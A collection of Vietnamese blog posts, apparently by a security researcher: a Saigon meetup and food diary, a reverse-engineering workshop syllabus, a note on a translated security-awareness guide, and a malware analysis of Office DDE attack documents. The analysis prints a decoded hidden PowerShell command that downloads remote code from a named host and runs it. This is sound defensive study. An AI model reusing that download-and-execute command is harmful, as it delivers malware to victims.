Tối hôm offline thú thực tôi nhớ được hai món là cơm ranghủ tiếu (chỗ đại ka Phi Kha dẫn đi) … SG thì bia nó sẵn rồi các bạn ạ, đồ ăn chưa lên thì bia bàn nào cũng đã thấy ngập cốc adore . Thế nên, món cơm rang vừa lên là tôi tranh thủ bụp luôn, phần vì đói quá, phần vì không đớp thì lát “bão” tràn qua chắc chỉ có gục tại bàn. Bàn tôi hình như cơm rang ra trước hay sao á, lt Seamoun nhìn thấy đĩa cơm mà giống như người trong “khoa hồi sức cấp cứu” vớ được “chai dịch truyền hoa quả“, lặng lẽ cầm tô qua táp như đúng rồi 😀 . Giờ tôi mới hiểu thấu hơn vì sao đi nhậu anh em lúc nào cũng dặn quán “Cấm không cho lt gọi thứ gì dính đến tinh bột” lolz.

Ngồi đối diện tôi là đám LC/BC, nhìn đồng chí tây râu quai nón tôi nghĩ chắc nó già hơn mình, ai dè nó kém tôi gần chục, chưa kể em gái cùng team, đúng là gái Nga, vừa trẻ (hình như 21), vừa xinh. Tôi nghĩ đám này thi Meepwn CTF cả ngày rồi nên đói, thế nên món mới cứ lên là tôi dụ mấy đồng chí này thử, tôi nhớ mình dụ họ ăn rau diếp cá 😀 (ở VN nhiều người không ăn được rau này đâu), ăn hạt tiêu sọ, rồi đủ thứ … chắc tôi ép ăn nhiều quá, họ sợ chạy mọe sang bàn khác ngồi uống bia lolz.

Tan nhậu, tính chuẩn bị bắt taxi lộn về Q2 thì được tin đại ka Phi Kha rủ đi ăn hủ tiếu đêm. Đại ka quảng cáo quán hủ tiếu này ngon nhất lục tỉnh Nam Kỳ. Thế là đoàn người, lúc đó chắc còn hơn chục, gồm: Đại ka Kha, lđ Seamoun, lđ Đức Abe, lđ Dương K4i; lđ Quảng_Viettel; ku em HuyNA, Quân Đoàn, tôi và ku em Điện, cùng vài người nữa không nhớ rõ, từng tốp bắt taxi tới địa chỉ quán.

Hix, lúc lên xe cũng tầm muộn nên ai cũng mệt rồi, tưởng lđ K4i với ku em Quân Đoàn thế nào, lên xe báo địa chỉ làm bác tài drift một phát đáp thẳng ra Q10, trong khi quán nằm ở Q5. Xuống xe đi bộ chối chết, hai thầy trò Crypto vừa đi vừa tâm sự … lúc alo để lấy lại thông tin quán, nhìn hai thầy trò nhà này thực hiện “cryptanalysis” mà tôi nghĩ chắc về bảo ông con nhà tôi thôi đừng học toán nữa 😀 . Tới được quán thì anh em cũng đã ăn gần xong rồi 😦 , gọi được tô hủ tiếu..tôi nói thật lúc đó chỉ cắm mặt vào ăn không ngẩng mặt lên được … đúng như quảng cáo “ngon nhất lục tỉnh Nam Kỳ“. Bạn nào ở SG nhớ ghé quán này nhá : Hủ tiếu Cả Cần 110 Hùng Vương, phường 09, quận 05.

Ngày cuối cùng ở SG, tôi với ku em Điện lượn ra chỗ khu Nhà thờ Đức Bà vì cũng tiện đường ra sân bay, và cùng vì tới SG người ta hay ra khu này giống như sang Sing dân mình hay ra chỗ “con mèo” chụp ảnh check-in á 😀 .

Đang lang thang ở khu Nhà thờ thì bắt gặp ngay “thợ đục lỗ” kiêm shipper Mạnh Luật đang đi bán áo dạo, tiện tay tôi mua luôn hai cái 😀

l4w  

Lát sau, chui vào quán cafe mà lúc nhắn địa chỉ, lđ Dương K4i bảo “sang chảnh vãi nồi” … tôi đâu biết, đi bộ loanh quanh mỏi chân quá, thấy có quán thì táp vào thôi 😦

caphejpg  

Rời quán cafe, anh em tôi được lđ Dương K4i mời đi ăn quán Cơm tấm sườn, địa chỉ quen thuộc khi lđ vào công tác ở Sài Thành. Cảm ơn lđ vì bữa cơm 😀 … ngon quá mà giờ tôi quên mất cả địa chỉ 😦

 
#trà_đá_hacking#7 #Sài_Gòn #những_người_bạn #See_ya IMG_20180827_105048

Cuối tháng 8 này, hội thảo #Tràđáhacking_#7 sẽ được tổ chức tại Sài Gòn (thông tin các bạn có thể xem tại http://event.tradahacking.vn/ hoặc https://www.facebook.com/tradahackingvn/) . Tôi có may mắn nhận được lời mời của g4mm4 (Co-Founder của CyberJutsu) , thành viên của nhóm VNSecurity  vào Sài Thành làm một Training Workshop cơ bản về RE (Reverse Engineering) trong vòng 2 ngày.

Và tôi đã nhận lời!! Lý do rất đơn giản: Trà Đá là nơi tôi quen được những người bạn nói thật và làm thật, mong muốn giúp thúc đẩy phong trào học tập và nghiên cứu An Ninh thông tin chuyên sâu, cũng như tạo ra một không gian trao đổi và nghiên cứu cho cộng đồng nói chung và các bạn trẻ yêu thích hacking/security ở Việt Nam nói riêng…., éo phải những hội thảo mà người ta chỉ đến đó để ngủ, kiếm bữa buffet miễn phí và xoa bụng đi về … 29

Nếu thiên thời, địa lợi và nhân hòa (có người đi học 4): Khóa đào tạo tổng quan về RE và các kĩ thuật liên quan này sẽ dành cho những bạn mới bắt đầu và muốn tìm hiểu về RE. Tôi sẽ chia sẻ về dịch ngược và các công việc liên quan tới lĩnh vực dịch ngược, kiến thức cơ bản về Assembly, cách nhận biết và chuyển đổi lệnh Assembly sang ngôn ngữ bậc cao, tổng quan về IDA (một trong những công cụ được nhiều chuyên gia trên thế giới sử dụng), các kĩ thuật cơ bản về Packing/Unpacking, Anti-disassembly & Anti-Debugging. Hi vọng với kiến thức hạn hẹp (vì RE lĩnh vực đòi hỏi nhiều kiến thức rộng) mà tôi chia sẻ, sẽ phần nào giúp các bạn phát triển các kĩ năng khác nhau phục vụ cho các lĩnh vực có sử dụng tới kĩ thuật dịch ngược như Malware Analysis, Exploit Development, Cracking (For fun)…”

Bạn nào có quan tâm vui lòng xem link đăng kí chi tiết tại đây https://goo.gl/BicLEw hoặc theo dõi tại website của ban tổ chức để có những cập nhật mới nhất.

Syllabus dự kiến (chắc sẽ có nhiều kiến thức các bạn đã đọc hoặc đã biết ở đâu đó, nếu bạn nào biết tôi mời lên giảng thay tôi luôn, tiền talk tôi cũng xin gửi lại cho người nói 🙂 ):

1. Reverse Engineering & Skill Requirements:
- Introduction to Reverse Engineering (What's RE? Use of RE? Related Jobs)
- RCE Skills
- Tools of Trade
+ PE Analyzer
+ Hex Editor
+ Disassembler
+ Debugger
+ Decompiler
+ System Monitorings
- Resources:
+ Links
+ Books

2. x86 Assembly Adventures:
- Review basic background
+ Number systems overview (Binary/Decimal/Hexadecimal)
+ Bit, Byte, Word, Dword
- x86 Assembly 101
+ Assembly language (Intel syntax)
+ Machine code
+ Big & Little Endian
+ x86 Registers (8 "general purpose" & instruction pointer register)
+ Instructions reference registers, immediate values and memory
+ Access Memory (directly/ indirectly)
+ Learned around 23 ASM instructions through examples
+ Stack operations; Control flow; Loop; Calling conventions...
+ Function prologue / epilogue

3. Recognizing code constructs in Assembly:
- Why need to recognize code constructs
- Inferring high level logic from ASM instructions
+ Global vs. Local variables
+ Decision Making or Branching (if; if-else; nested if; switch)
+ Looping (for loop; while loop)
+ Compound expressions
+ Function
+ Array
+ Structure

4. Introduction to IDA Pro
- Introduction to IDA Pro
- Useful Windows for Analysis
- IDA Navigation
- Using Cross-References
- IDA Interaction
- IDA Database
- Recognizing C Code Constructs in IDA
- Debugging a Binary
- Some useful plugins

5. Packers and Unpacking Techinques
- Packer Anatomy (What's packers? Type of packers; Packing Terms)
- Packing Demo
- What happens when double clicked a packed file ?
- Identifying Packed Programs
- Automated Unpacking (Howto)
- Manual Unpacking steps & demo

6. Anti-disassembly & Anti-Debugging Techniques
- Problem & Why?
- Basic Anti-Disassembler technique
- Anti-Debugging Techniques: API based anti-debugging; Manual Debugging Checks; Identifying Debugger Behavior
- Fun with some examples
- Swiss Army Knife - anti-anti-debug plugins

P.S: Tôi không phải chuyên gia đầu ngành hay đầu đít gì hết, có nhiều người giỏi hơn tôi, nhưng chắc do anh em bạn bè tôi quen đều bận cả nên tôi bỗng dưng bị gán cái mác là “thầy” 6d1dd-1___0ba8mloc5or0b8pi5tq … Hoặc do cái lĩnh vực này nó khù khoằm quá nên ít người thích dạy. Nhiều bạn cứ nghĩ học 1-2 ngày là thành “chuyên gia” này nọ, xin lỗi tôi không có khả năng để biến bạn thành một ai đó … Nhiều bạn đi học cứ nhăm nhăm vào những thứ cao siêu (ngay cả tôi cũng không biết) mà quên đi cái cốt lõi là kiến thức nền tảng cơ bản… Và còn nhiều …

#trà_sữa #tocotoco #2days #full_clip #x69

Một lần nữa tôi xin gửi lời cảm ơn trân trọng nhất tới g4mm4!! 36

Regards,

m4n0w4r

 


Lời tựa:

Toàn bộ bài hướng dẫn này được viết ra với sự giúp đỡ của sáu hacker chuyên nghiệp: Maarten van Dantzig, Rik van Duijn, Melvin Lammerts, Loran Kloeze, Sanne MaasakkersSijmen Ruwhof. Các hình ảnh minh hoạ sinh động trong bài viết được thực hiện bởi Laura Kölker. Bài viết được biên tập lại bởi Marcel Vroegrijk để đảm bảo người đọc có thể dễ dàng tiếp cận. Phiên bản gốc bằng tiếng Hà Lan của Watch Your Hack (https://laatjeniethackmaken.nl/) đã được dịch sang tiếng Anh bởi Kevin Shuttleworth tại (https://watchyourhack.com/) và được Marcel Vroegrijk chỉnh sửa lại thêm một lần nữa.

Nếu bạn thấy ai đó có nhu cầu áp dụng các mẹo và thủ thuật bảo mật, xin hãy gửi cho họ đường link của các trang web này. Bạn có thể chia sẻ thông qua các hình thức như e-mail, Twitter, FacebookWhatsApp. Nếu bạn có bất kì ý kiến hay đề nghị nào, hãy gửi qua Twitter (@danielverlaan) hoặc qua email cho tác giả.

Bạn cũng có thể đóng góp một khoản tiền nhỏ để hỗ trợ Watch Your Hack. Với 5 USD mà bạn đóng góp sẽ được dùng để trả tiền thuê máy chủ hàng tháng, hoặc để tác giả tự thưởng cho mình một ly bia . Bạn có thể chuyển tiền qua PayPal hoặc iDeal. Tiền điện tử cũng được chấp nhận:

bitcoin: 1Psq1MmgPSKy8npnAvZASdtPD18EV61U3k

ethereum: 0x264510031A8F0b55432232F65337a67cA3Eb23bB

litecoin: Lg8sxK3bk4zvdmpHHLsV76gsw9v8wbAk2S

Toàn bộ hướng dẫn này đã được tác giả đồng ý cho phép tôi dịch sang tiếng Việt và chia sẻ lại cho người thân, bạn bè của tôi, nhằm giúp mọi người nâng cao kiến thức cũng như qua đó tự bảo vệ bản thân mình trên không gian mạng. Nội dung bản dịch này, theo đúng yêu cầu của tác giả, tôi đã cố gắng tuân thủ và tôn trọng bản gốc và bản dịch tiếng Anh. Và cũng như trên, nếu bạn thấy bài dịch này của tôi có ích, hãy chia sẻ nó cho những người khác!!!

Link download bản dịch tại đây:

https://mega.nz/#!GfRkmQzS!bi_U3Mc_tA3xeQUKiX27NH-oeHLpc1MrYgibUZC7qtc

Regards

m4n0w4r


Thông tin mô tả sơ lược về Dynamic Data Exchange (DDE) tại đây: https://tinyurl.com/y9wbg2zr

Các sample sử dụng trong bài viết:

Công cụ sử dụng: Profiler (Một công cụ bổ trợ cho những ai đang làm việc trong lĩnh vực phân tích mã độc và forensic).

Trong bài viết này (tham khảo link gốc: http://cerbero-blog.com/?p=1701), tôi sẽ sử dụng công cụ Profiler (phiên bản hiện tại của phần mềm này đã bổ sung khả năng phát hiện DDE) để kiểm tra các DDE field code.

Mở sample thứ 1 trong Profiler, sau khi parse xong ta có kết quả như sau:

Như trên hình, tôi nhận thấy tệp document.xml được Profiler đánh dấu màu hồng, hàm ý có chứa nội dung độc hại. Nhấp đúp vào file này, Profiler sẽ thông báo cho ta khả năng đây có thể là một tấn công lơi dụng tính năng DDE của Office.

Toàn bộ mã DDE đã được attacker lồng ghép trong đống XML loằng ngoằng ở trên, gây khó khăn trong quá trình đọc và tìm kiếm. Profiler cung cấp một số tính năng hữu ích, hỗ trợ việc chuyển đổi để làm sạch và trích xuất nội dung cần tìm. Nhấn Ctrl + R (Execute action) để thực hiện việc chuyển XML->To text:

Tiếp theo thực hiện Text->Strip với kết quả có được ở bước trên:

Sau khi thực hiện xong hai bước trên, kết quả tôi có được đoạn text sau:

Đoạn script ở trên rất rõ ràng, thực hiện tải xuống một file powerhell từ URL (http://ec2-54-158-67-5.compute-1.amazonaws.com) và sau đó thực thi powershell này.

Với sample thứ 2, cũng thực hiện theo cách tương tự như trên, kết quả có được:

Đoạn code khá giống với sample trước, sample này cũng thực hiện download một file về để thực thi trên máy nạn nhân, chỉ khác là ở sample này file download về là một JS script.

Load sample thứ 3 vào Profiler:

Ở sample này có thể thấy toàn bộ payload của DDE đã bị obfuscate bởi attacker. Vì các chuỗi này nằm trong các thuộc tính của XML, do đó không thể áp dụng bước XML->To text được. Ta phải đọc và dò bằng tay để xóa, may mắn là chỉ có 3 đoạn có sử dụng “QUOTE” như vậy. Kết quả sau khi xóa bằng tay:

Nhìn vào đây thì ta có thể thấy các số này sẽ tương ứng với các chữ cái trong bảng mã ASCII. Ví du: 67 58 92 80 114 111 103 sẽ là C : \ P r o g. Profiler hỗ trợ cho phép thực thi Python script, do đó ta sử dụng một đoạn script nhỏ thực hiện chuyển đổi toàn bộ các số ở trên thành dạng hex string:

Kết quả có được sau khi thực hiện script:

Sau đó, chọn toàn bộ chuỗi hex vừa sinh ra và thực hiện Conversion-> Hex string to bytes:

Các bytes được decode ở dạng hex như sau:

Chọn toàn bộ hex string trên và chọn Copy -> Ascii, ta có được DDE code đầy đủ như sau:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://netmediaresources.com/config.txt’);powershell -enc $e #a slow internet connectiontry again later

Qua đây có thể thấy rằng, Microsoft Office là một ứng dụng phổ biến được sử dụng trong mọi tổ chức. Chính việc sử dụng rộng rãi cùng với nhiều tính năng mà công cụ này đem lại, đã khiến Microsoft Office trở thành mục tiêu được nhắm tới nhiều nhất của các attacker. Theo thống kê của Kaspersky, trong quý I năm 2018, tỷ lệ cuộc tấn công nhắm vào Microsoft Office đã tăng lên gần 50%.